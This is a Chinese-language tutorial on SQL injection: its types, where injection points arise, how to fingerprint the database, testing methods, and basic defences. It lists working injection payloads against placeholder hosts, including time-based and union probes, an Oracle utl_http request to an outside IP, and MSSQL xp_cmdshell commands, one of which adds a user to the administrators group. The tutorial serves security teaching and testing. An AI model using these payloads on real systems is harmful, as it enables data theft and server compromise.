注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 浅谈SQL注入漏洞的危害与防御

SQL简介:
SQL(Structured Query Language – 结构化的查询语言)注入攻击是一个非常传统的攻击方式,且SQL注入方式与手段变化多端;在日常漏洞中,SQL注入占比约10%,虽不算高占比但其危害极大,业内企业因此蒙受损失的新闻层出不穷。

SQL注入漏洞原理:
脚本攻击主要是针对动态网站进行的攻击,其原因是在建立动态网页的过程中没有对用户的输入输出进行有效的合法性验证 ;
SQL Injection 程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码, 根据程序返回的结果,获得某些他想得知的数据或进行数据库操作;

SQL注入漏洞危害:
例如数据库被拖库,管理员和重要人员信息泄露,甚至还能通过SQL注入漏洞直接获取webshell或者执行命令导致服务器系统权限被获取等等。
WeiyiGeek.SQL注入漏洞危害

0x01 SQL注入漏洞的分类

(1) 按照SQL注入利用方式分类
  • 盲注
  • Error 报错注入
  • Time 时间盲住
  • Union 注入
  • 内联查询注入
  • 拼接(堆)查询注入

Q:目前所掌握的注入漏洞种类,出现频率较高有哪些?
比如:盲注,time 时间盲注,报错注入,union注入(在不影响正常服务的情况下,拼接查询算最高危害的,接下来就是union);

Q:比较易被检测出来的有哪些?
比如:盲注,time 时间盲注,报错注入等;

Q:关于注入的位置常常有那些?
常发生于用户和服务交互处(增删改查操作),AJAX,API接口等等,用这个检测报错注入,比较方便。

(2) 按照攻击入口分类
  • GET型的SQL注入
  • POST型SQL注入
  • Cookie型SQL注入(Cookies中转注入)
  • Header型SQL注入
(3) 按照注入点类型分类
  1. 整型注入
    测试方法:

    http://host/test.php?id=100 and 1=1  返回成功
    http://host/test.php?id=100 and 1=2 返回失败
    产生原因:sqlstr = "select * from news where id = "+request. getParameter("id")
  2. 字符型注入
    测试方法:

    http://host/test.php?name=rainman' and '1'='1 返回成功
    http://host/test.php?name=rainman' and '1'='2 返回失败
    产生原因:sqlstr = "select * from news where id = '"+ request.getParameter("name") + "'"
  3. 搜索型注入
    测试方法:

    http://host/test.php?keyword=test%' and '%'=' 返回test查询相同结果
    http://host/test.php?id=test%' and '%'=' 返回少于test 查询结果的内容

    产生原因:
    sqlstr = "select * from news where keywordlike '%" + request. getParameter("keyword")+ "%'"
  4. 盲注型注入

(4) 注入方式
  1. 内联式SQL注入
    内联注入是指查询注入SQL代码后,原来的查询仍然全部执行;

    Sqlstr = "select * from admin where username ='"+username+"' and password = '"+password+"'"
                                                    username = "' or 'test'='"
                                                    password = "' or 'pass'='"
  2. 终止式SQL注入
    终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句,被注释的查询不会被执行;

    username = ‚' or ''='' --‚
    password = ‚any string'

    常见的终止方式
    • 终止字符串: -- , #, %23, %00, /*
    • 终止方法: -- , '-- , ')-- , ) -- , ')) --,))--
  3. union 注入
    Union是数据库管理员经常使用且可以掌控的运算符之一,可以使用它连接两条或多条select语句的查询结果。
    其基本语法如下:

    Select colum1,colum2,colum3,…,columN from table1 Union Select colum1,colum2,colum3,…,columN from table2

    使用union获取数据规则:
    - 两个查询返回的列数必须相同。
    - 两个SELECT语句返回的数据库对应的列必须类型相同或兼容(字段类型一致)
    - 通常只有终止式注入时,可较快猜解并利用,否则要知道原始的SQL语句才能比较方便的利用

如果应用返回第一个(原始)查询得到的数据,那么通过在第一个查询后注入一个UNION运算符,并添加另一个任意查询,便可读取到数据库用户有权限访问的任何一张表 (主要需要进行测试占位符) 。

Union语句的构建

  • 万能列类型:大部分数据库中NULL可兼容任何类型的数据,所有可使用NULL匹配数据表的列类型
  • 确定列数量:使用union select null,null,null,…,null from dual逐步增加null数量,直到匹配原语句的列数量,成功匹配后返回正常页面
    使用order by 确原语句列数量, 可使用折半查找法提高猜测效率
  • 确定列类型:Union select 1,’2’,null,…,null from dual,先猜测第一列为数字,如果不正确则判断为字符,如果还是不正确则保持null不变(可能为二进制类型),依次完成部分或全部类型的判断;
  • 其他:Mysql数字/字符类型可直接转换,可直接使用select 1,2,3,…,n 方式构建union

Q:Union不适用的地方有那些?
A:注入语句无法截断,且不清楚完整的SQL查询语句;Web页面中有两个SQL查询语句,查询语句的列数不同;

  1. 盲注
    4.1) 基于时间的攻击(delay)
     Mssql    --#命令执行
      http://host/products.asp?id=12;if+(system_user='sa')+exec master..xp_cmdshell'ping localhost'
     Mysql --#执行sha1函数1000000次
      select benchmark(1000000, sha1('test'))
    Oracle --#请求测试
      select utl_http.request('http://10.0.0.1') from dual

4.2) 基于boolen注入
MSSQL:如果用户属于sysadmin, id = 12/1 返回正常页面,否则返回错误页面 http://host/products.asp?id=12/is_srvrolemember('sysadmin')
• 返回正常页面,判断成立
• 返回错误页面,判断失败

(5) 按报错错误分类数据库注入

要成功的发动SQL注入攻击,最重要的是知道应用正在使用的DBMS,没有这一信息就不可能向查询注入信息并提取自己所感兴趣的数据.
原因:不同数据库之间存在语法差异和特性;

  1. ACCESS Databases + ASP

    注入点:http://xx.xxx.xx.xx/playnews.asp?id=772' and '1=1

    # Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
    #查询表达式 'id = 772'' 中 /displaynews.asp,行31

    特有数据表进行判断:
    http://host/test.php?id=100 and (select count(*) from sysobjects)>0 and 1=1
  2. MSSQL Databases + ASPX

    --#报错信息:[Microsoft][ODBC SQL ServerDriver][SQL Server] 字符串''之前有未闭合的引号

    特有数据表进行判断:
    http://host/test.php?id=100 and (select count(*) from sysobjects)>0 and 1=1
    注入点:http://www.test.com/showdetail.asp?id=49' And (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);--
    执行SQL语句:Select * from 表名 where 字段='49' And (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);--

    字符连接方式判断:
    http://host/test.php?id=100 and '1'+'1'='11'

    获取非字符类型错误
    http://host/products.asp?id=12 and (select top 1 char(94)+(id as varchar(256)) from admin) >0

    基于时间盲注:
    http://host/products.asp?id=12;if+(system_user='sa')+waitfor+delay+'0:0:5'--
    http://host/products.asp?id=12;if+(system_user='sa')+exec master..xp_cmdshell'ping localhost'


    关键点:SQL Server内置的存储过程xp_cmdshell :
    http://www.test.com/showdetail.asp?id=49';exec master..xp_cmdshell "net localgroup administrators name /add"--
  3. Mysql + php

    --#报错:Mysql: ERROR 1064 (42000): You have anerror in your SQL syntax; check the manualthat corresponds to your MySQL serverversion for the right syntax to use near

    特有数据表进行判断:
    http://host/test.php?id=100 and (select count(*) from information_schema.TABLES)>0 and 1=1 mysql> 5.0


    字符连接方式判断:
    http://host/test.php?id=100 and '1'+'1'='11'
    http://host/test.php?id=100 and CONCAT('1','1')='11'
  4. Oracle + jsp

    #报错:Oracle: ORA-01756: 括号内的字符串没有正确结束
    select utl_inaddr.get_host_name((select banner from v$version where rownum= 1)) from dual;

    特有数据表进行判断:
    http://host/test.php?id=100 and (select count(*) fromsys.user_tables)>0 and 1=1

    字符连接方式判断:
    http://host/test.php?id=100 and '1' || '1'='11'
    http://host/test.php?id=100 and CONCAT('1','1')='11'

0x03 SQL白盒与黑盒测试方法

  1. 白盒的测试:
    1) 快速方式是关键词匹配,找到SQL语句后,看看这些SQL语句在哪被调用,变量的值来自哪里被带入了,是否有安全校验,安全校验是否匹配当前SQL操作的具体场景(字符集编码等也要留意),沿着变量和函数的调用,一直回溯查到输入点就好。

2) 了解代码使用的框架或者代码结构,看代码对请求进行路由和分发的方式,路由分发方式的设计和实现是否存在隐患,记录一下再看看是否有一些统一的安全filter,记录下他的特性(任何统一的安全filter都会因为不了解后端调用的场景而产生绕过),然后再看看是否有基础的DB库,这个库是否实现了安全的SQL操作。

3) 了解业务实现的方式,设计的思路,这样黑盒看到同类网站,就可以知道怎么下手知识面越广也越容易发现更多的技巧,了解搭配的数据库版本(MYSQL,MSSQL,Sybase,Oracle,Access)


  1. 黑盒的测试:
    我觉得查询SELECT型的注入很容易被发现,其实可以多考虑考虑insert update里的注入点发现,关系型数据库里,结合这个接口的功能,提交的返回值对比,response code 5xx ,其实也容易黑盒发现注入点。
    同时在用户输入处进行测试,表单提交,get/post/request,关注API接口等等请求SQL注入测试。

0x04 SQL监测和防御这类漏洞

最好的防御,是内部先发现做策略,开发时过滤特殊字符: 单引号、双引号、斜杠、反斜杠、冒号、 空字符等的字符 ;
过滤的对象:  用户的输入 | 提交的URL请求中的参数部分 | 从cookie中得到的数据 ;
监测方面目前大多都是日志监控+WAF(统一的filter),部署防SQL注入系统或脚本 ;
数据库日志容易解析,语法出错的、语法读Info表的建立黑白名单机制,都明确是黑客嘛;